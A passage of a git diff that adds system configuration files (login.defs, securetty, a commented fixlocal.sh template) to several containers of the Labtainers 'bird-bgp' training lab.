for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e3/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/treataslocal new file mode 100644 index 000000000..f68190acd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_bin/treataslocal @@ -0,0 +1 @@ +ping diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e4/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bird-bgp/e5/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git 